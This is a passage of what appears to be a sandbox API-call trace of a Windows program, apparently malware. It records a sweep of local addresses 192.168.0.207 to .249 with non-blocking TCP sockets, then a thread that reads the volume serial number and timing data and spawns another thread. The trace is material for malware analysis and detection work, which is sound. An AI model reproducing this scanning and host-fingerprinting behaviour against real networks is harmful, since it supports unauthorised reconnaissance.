htonl (hostlong=0xc0a800cf) returned 0xcf00a8c0 [0280.926] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.926] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.927] htonl (hostlong=0xc0a800d0) returned 0xd000a8c0 [0280.927] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.927] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.927] htonl (hostlong=0xc0a800d1) returned 0xd100a8c0 [0280.927] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.927] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.927] htonl (hostlong=0xc0a800d2) returned 0xd200a8c0 [0280.927] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.927] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.927] htonl (hostlong=0xc0a800d3) returned 0xd300a8c0 [0280.927] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.927] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.927] htonl (hostlong=0xc0a800d4) returned 0xd400a8c0 [0280.927] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.928] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.928] htonl (hostlong=0xc0a800d5) returned 0xd500a8c0 [0280.928] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.928] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.928] htonl (hostlong=0xc0a800d6) returned 0xd600a8c0 [0280.928] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.928] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.928] htonl (hostlong=0xc0a800d7) returned 0xd700a8c0 [0280.928] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.928] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.928] htonl (hostlong=0xc0a800d8) returned 0xd800a8c0 [0280.928] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.928] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.928] htonl (hostlong=0xc0a800d9) returned 0xd900a8c0 [0280.929] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.929] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.929] htonl (hostlong=0xc0a800da) returned 0xda00a8c0 [0280.929] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.929] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.929] htonl (hostlong=0xc0a800db) returned 0xdb00a8c0 [0280.929] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.929] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.929] htonl (hostlong=0xc0a800dc) returned 0xdc00a8c0 [0280.929] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.929] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.929] htonl (hostlong=0xc0a800dd) returned 0xdd00a8c0 [0280.929] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.930] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.930] htonl (hostlong=0xc0a800de) returned 0xde00a8c0 [0280.930] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.930] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.930] htonl (hostlong=0xc0a800df) returned 0xdf00a8c0 [0280.930] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.930] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.930] htonl (hostlong=0xc0a800e0) returned 0xe000a8c0 [0280.930] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.930] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.930] htonl (hostlong=0xc0a800e1) returned 0xe100a8c0 [0280.930] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.930] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.930] htonl (hostlong=0xc0a800e2) returned 0xe200a8c0 [0280.930] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.931] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.931] htonl (hostlong=0xc0a800e3) returned 0xe300a8c0 [0280.931] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.931] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.931] htonl (hostlong=0xc0a800e4) returned 0xe400a8c0 [0280.931] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.931] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.931] htonl (hostlong=0xc0a800e5) returned 0xe500a8c0 [0280.931] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.931] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.931] htonl (hostlong=0xc0a800e6) returned 0xe600a8c0 [0280.931] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.931] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.931] htonl (hostlong=0xc0a800e7) returned 0xe700a8c0 [0280.931] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.932] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.932] htonl (hostlong=0xc0a800e8) returned 0xe800a8c0 [0280.932] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.932] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.932] htonl (hostlong=0xc0a800e9) returned 0xe900a8c0 [0280.932] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.932] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.932] htonl (hostlong=0xc0a800ea) returned 0xea00a8c0 [0280.932] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.932] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.932] htonl (hostlong=0xc0a800eb) returned 0xeb00a8c0 [0280.932] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.932] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.932] htonl (hostlong=0xc0a800ec) returned 0xec00a8c0 [0280.932] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.933] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.933] htonl (hostlong=0xc0a800ed) returned 0xed00a8c0 [0280.933] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.933] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.933] htonl (hostlong=0xc0a800ee) returned 0xee00a8c0 [0280.933] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.934] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.934] htonl (hostlong=0xc0a800ef) returned 0xef00a8c0 [0280.934] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.934] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.934] htonl (hostlong=0xc0a800f0) returned 0xf000a8c0 [0280.934] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.934] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.934] htonl (hostlong=0xc0a800f1) returned 0xf100a8c0 [0280.934] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.934] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.934] htonl (hostlong=0xc0a800f2) returned 0xf200a8c0 [0280.935] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.935] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.935] htonl (hostlong=0xc0a800f3) returned 0xf300a8c0 [0280.935] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.935] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.935] htonl (hostlong=0xc0a800f4) returned 0xf400a8c0 [0280.935] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.935] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.935] htonl (hostlong=0xc0a800f5) returned 0xf500a8c0 [0280.935] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.935] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.935] htonl (hostlong=0xc0a800f6) returned 0xf600a8c0 [0280.936] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.936] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.936] htonl (hostlong=0xc0a800f7) returned 0xf700a8c0 [0280.936] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.936] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.936] htonl (hostlong=0xc0a800f8) returned 0xf800a8c0 [0280.936] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.936] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.936] htonl (hostlong=0xc0a800f9) returned 0xf900a8c0 [0280.936] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.936] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 Thread: id = 48 os_tid = 0x61c [0206.225] GetLogicalDrives () returned 0x4 [0206.225] GetProcessHeap () returned 0x560000 [0206.225] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x574310 [0206.225] GetProcessHeap () returned 0x560000 [0206.225] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x28) returned 0x57ac58 [0206.225] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x12c [0206.225] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x130 [0206.225] GetProcessHeap () returned 0x560000 [0206.226] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x57a7d8 [0206.226] GetProcessHeap () returned 0x560000 [0206.226] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x57a800 [0206.226] GetProcessHeap () returned 0x560000 [0206.226] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x57a828 [0206.226] GetProcessHeap () returned 0x560000 [0206.226] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x5974f8 [0206.226] GetProcessHeap () returned 0x560000 [0206.226] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5974f8 | out: hHeap=0x560000) returned 1 [0206.226] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x57a800, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0206.226] GetProcessHeap () returned 0x560000 [0206.226] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a828 | out: hHeap=0x560000) returned 1 [0206.227] GetProcessHeap () returned 0x560000 [0206.227] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a7d8 | out: hHeap=0x560000) returned 1 [0206.227] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x258fc14, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x258fc14*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0206.227] GetProcessHeap () returned 0x560000 [0206.227] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a800 | out: hHeap=0x560000) returned 1 [0206.228] GetProcessHeap () returned 0x560000 [0206.228] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5947e8 [0206.228] GetProcessHeap () returned 0x560000 [0206.228] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x594800 [0206.228] GetProcessHeap () returned 0x560000 [0206.228] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x594818 [0206.228] GetProcessHeap () returned 0x560000 [0206.228] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x5974f8 [0206.228] GetProcessHeap () returned 0x560000 [0206.228] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x594830 [0206.228] htonl (hostlong=0x9c354b42) returned 0x424b359c [0206.229] QueryPerformanceCounter (in: lpPerformanceCount=0x258fb08 | out: lpPerformanceCount=0x258fb08*=12469459592) returned 1 [0206.229] GetTickCount () returned 0x113d54a [0206.229] GetCurrentProcessId () returned 0x570 [0206.229] GetCurrentThreadId () returned 0x61c [0206.229] GetLocalTime (in: lpSystemTime=0x258faf0 | out: lpSystemTime=0x258faf0*(wYear=0x7e4, wMonth=0x2, wDayOfWeek=0x2, wDay=0xb, wHour=0x16, wMinute=0x2d, wSecond=0x19, wMilliseconds=0x288)) [0206.229] SystemTimeToFileTime (in: lpSystemTime=0x258faf0, lpFileTime=0x258fb00 | out: lpFileTime=0x258fb00) returned 1 [0206.229] QueryPerformanceCounter (in: lpPerformanceCount=0x258fb08 | out: lpPerformanceCount=0x258fb08*=12469528075) returned 1 [0206.230] GetProcessHeap () returned 0x560000 [0206.230] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x28) returned 0x57d500 [0206.230] GetProcessHeap () returned 0x560000 [0206.230] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x594848 [0206.230] GetProcessHeap () returned 0x560000 [0206.230] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4) returned 0x5945e0 [0206.230] GetProcessHeap () returned 0x560000 [0206.231] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x14) returned 0x57ca38 [0206.231] GetProcessHeap () returned 0x560000 [0206.231] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x594860 [0206.231] GetProcessHeap () returned 0x560000 [0206.231] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x80) returned 0x597590 [0206.231] GetProcessHeap () returned 0x560000 [0206.231] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x594878 [0206.231] GetProcessHeap () returned 0x560000 [0206.231] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x82) returned 0x597618 [0206.231] GetProcessHeap () returned 0x560000 [0206.231] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x594890 [0206.231] GetProcessHeap () returned 0x560000 [0206.231] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4) returned 0x57d530 [0206.232] GetProcessHeap () returned 0x560000 [0206.232] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5948a8 [0206.232] GetProcessHeap () returned 0x560000 [0206.232] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x80) returned 0x5976a8 [0206.232] GetProcessHeap () returned 0x560000 [0206.232] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5948c0 [0206.232] GetProcessHeap () returned 0x560000 [0206.232] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x2) returned 0x57d540 [0206.232] GetProcessHeap () returned 0x560000 [0206.232] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4) returned 0x57bf48 [0206.232] GetProcessHeap () returned 0x560000 [0206.232] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5948d8 [0206.233] GetProcessHeap () returned 0x560000 [0206.233] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x80) returned 0x597730 [0206.233] GetProcessHeap () returned 0x560000 [0206.233] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5948f0 [0206.233] GetProcessHeap () returned 0x560000 [0206.233] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4) returned 0x57bf58 [0206.233] GetProcessHeap () returned 0x560000 [0206.233] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x57d540, Size=0x82) returned 0x5977b8 [0206.233] GetProcessHeap () returned 0x560000 [0206.233] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x57bf58, Size=0x100) returned 0x597848 [0206.233] GetProcessHeap () returned 0x560000 [0206.233] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x594908 [0206.234] GetProcessHeap () returned 0x560000 [0206.234] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x82) returned 0x597950 [0206.234] GetProcessHeap () returned 0x560000 [0206.234] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x594920 [0206.234] GetProcessHeap () returned 0x560000 [0206.234] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x82) returned 0x5979e0 [0206.234] GetProcessHeap () returned 0x560000 [0206.234] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5977b8, Size=0x104) returned 0x597a70 [0206.234] GetProcessHeap () returned 0x560000 [0206.235] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x597848, Size=0x200) returned 0x597b80 [0206.236] GetProcessHeap () returned 0x560000 [0206.236] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57bf48 | out: hHeap=0x560000) returned 1 [0206.236] GetProcessHeap () returned 0x560000 [0206.236] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x597b80 | out: hHeap=0x560000) returned 1 [0206.236] GetProcessHeap () returned 0x560000 [0206.236] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5948f0 | out: hHeap=0x560000) returned 1 [0206.236] GetProcessHeap () returned 0x560000 [0206.236] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5976a8 | out: hHeap=0x560000) returned 1 [0206.236] GetProcessHeap () returned 0x560000 [0206.236] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5948a8 | out: hHeap=0x560000) returned 1 [0206.236] GetProcessHeap () returned 0x560000 [0206.236] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x597730 | out: hHeap=0x560000) returned 1 [0206.236] GetProcessHeap () returned 0x560000 [0206.236] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5948d8 | out: hHeap=0x560000) returned 1 [0206.237] GetProcessHeap () returned 0x560000 [0206.237] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x597a70 | out: hHeap=0x560000) returned 1 [0206.237] GetProcessHeap () returned 0x560000 [0206.237] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5948c0 | out: hHeap=0x560000) returned 1 [0206.237] GetProcessHeap () returned 0x560000 [0206.237] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x597950 | out: hHeap=0x560000) returned 1 [0206.237] GetProcessHeap () returned 0x560000 [0206.237] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x594908 | out: hHeap=0x560000) returned 1 [0206.237] GetProcessHeap () returned 0x560000 [0206.237] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5979e0 | out: hHeap=0x560000) returned 1 [0206.237] GetProcessHeap () returned 0x560000 [0206.237] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x594920 | out: hHeap=0x560000) returned 1 [0206.237] GetProcessHeap () returned 0x560000 [0206.237] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5945e0 | out: hHeap=0x560000) returned 1 [0206.237] GetProcessHeap () returned 0x560000 [0206.238] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x594848 | out: hHeap=0x560000) returned 1 [0206.238] GetProcessHeap () returned 0x560000 [0206.238] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x597618 | out: hHeap=0x560000) returned 1 [0206.238] GetProcessHeap () returned 0x560000 [0206.238] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x594878 | out: hHeap=0x560000) returned 1 [0206.238] GetProcessHeap () returned 0x560000 [0206.238] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x597590 | out: hHeap=0x560000) returned 1 [0206.238] GetProcessHeap () returned 0x560000 [0206.238] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x594860 | out: hHeap=0x560000) returned 1 [0206.238] GetProcessHeap () returned 0x560000 [0206.238] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57d530 | out: hHeap=0x560000) returned 1 [0206.238] GetProcessHeap () returned 0x560000 [0206.238] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x594890 | out: hHeap=0x560000) returned 1 [0206.238] GetProcessHeap () returned 0x560000 [0206.239] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57d500 | out: hHeap=0x560000) returned 1 [0206.239] GetProcessHeap () returned 0x560000 [0206.239] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57ca38 | out: hHeap=0x560000) returned 1 [0206.239] GetProcessHeap () returned 0x560000 [0206.239] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa4) returned 0x597590 [0206.239] GetProcessHeap () returned 0x560000 [0206.239] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x594800 | out: hHeap=0x560000) returned 1 [0206.239] GetProcessHeap () returned 0x560000 [0206.239] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x594818 | out: hHeap=0x560000) returned 1 [0206.239] GetProcessHeap () returned 0x560000 [0206.239] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5974f8 | out: hHeap=0x560000) returned 1 [0206.239] GetProcessHeap () returned 0x560000 [0206.240] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x594830 | out: hHeap=0x560000) returned 1 [0206.240] GetProcessHeap () returned 0x560000 [0206.240] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5947e8 | out: hHeap=0x560000) returned 1 [0206.240] GetProcessHeap () returned 0x560000 [0206.240] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x18) returned 0x57ca38 [0206.240] GetProcessHeap () returned 0x560000 [0206.240] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0xe) returned 0x5947e8 [0206.240] ResetEvent (hEvent=0x130) returned 1 [0206.240] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x8c55a0, lpParameter=0x57ca38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x134 [0206.250] CloseHandle (hObject=0x134) returned 1 [0206.250] GetProcessHeap () returned 0x560000 [0206.250] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x594830 [0206.251] GetProcessHeap () returned 0x560000 [0206.251] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x594818 [0206.251] GetProcessHeap () returned 0x560000 [0206.251] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x594800 [0206.251] GetProcessHeap () returned 0x560000 [0206.251] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x5974f8 [0206.251] GetProcessHeap () returned 0x560000 [0206.251] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x594890 [0206.251] htonl (hostlong=0x9c354b42) returned 0x424b359c [0206.251] GetProcessHeap () returned 0x560000 [0206.251] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x28) returned 0x597898 [0206.251] GetProcessHeap () returned 0x560000 [0206.252] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x594860 [0206.252] GetProcessHeap () returned 0x560000 [0206.252] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4) returned 0x5945e0 [0206.252] GetProcessHeap () returned 0x560000 [0206.252] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x14) returned 0x57ca78 [0206.252] GetProcessHeap () returned 0x560000 [0206.252] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x594878 [0206.252] GetProcessHeap () returned 0x560000 [0206.252] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x80) returned 0x598050 [0206.252] GetProcessHeap () returned 0x560000 [0206.252] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x594848 [0206.252] GetProcessHeap () returned 0x560000 [0206.253] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x82) returned 0x5980d8 [0206.253] GetProcessHeap () returned 0x560000 [0206.253] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x594920 [0206.253] GetProcessHeap () returned 0x560000 [0206.253] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4) returned 0x57bf48 [0206.253] GetProcessHeap () returned 0x560000 [0206.253] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x594908 [0206.253] GetProcessHeap () returned 0x560000 [0206.253] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x80) returned 0x598168 [0206.253] GetProcessHeap () returned 0x560000 [0206.253] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5948c0 [0206.254] GetProcessHeap () returned 0x560000 [0206.254] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x2) returned 0x57bf58 [0206.254] GetProcessHeap () returned 0x560000 [0206.254] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4) returned 0x594338 [0206.254] GetProcessHeap () returned 0x560000 [0206.254] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5948d8 [0206.254] GetProcessHeap () returned 0x560000 [0206.254] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x80) returned 0x5981f0 [0206.254] GetProcessHeap () returned 0x560000 [0206.254] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5948a8 [0206.254] GetProcessHeap () returned 0x560000 [0206.254] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4) returned 0x594348 [0206.254] GetProcessHeap () returned 0x560000 [0206.255] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x57bf58, Size=0x82) returned 0x598278 [0206.255] GetProcessHeap () returned 0x560000 [0206.255] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x594348, Size=0x100) returned 0x598308 [0206.255] GetProcessHeap () returned 0x560000 [0206.255] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5948f0 [0206.255] GetProcessHeap () returned 0x560000 [0206.255] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x82) returned 0x598410 [0206.255] GetProcessHeap () returned 0x560000 [0206.255] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x594938 [0206.255] GetProcessHeap () returned 0x560000 [0206.255] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x82) returned 0x5984a0 [0206.255] GetProcessHeap () returned 0x560000 [0206.255] RtlReAllocateHeap 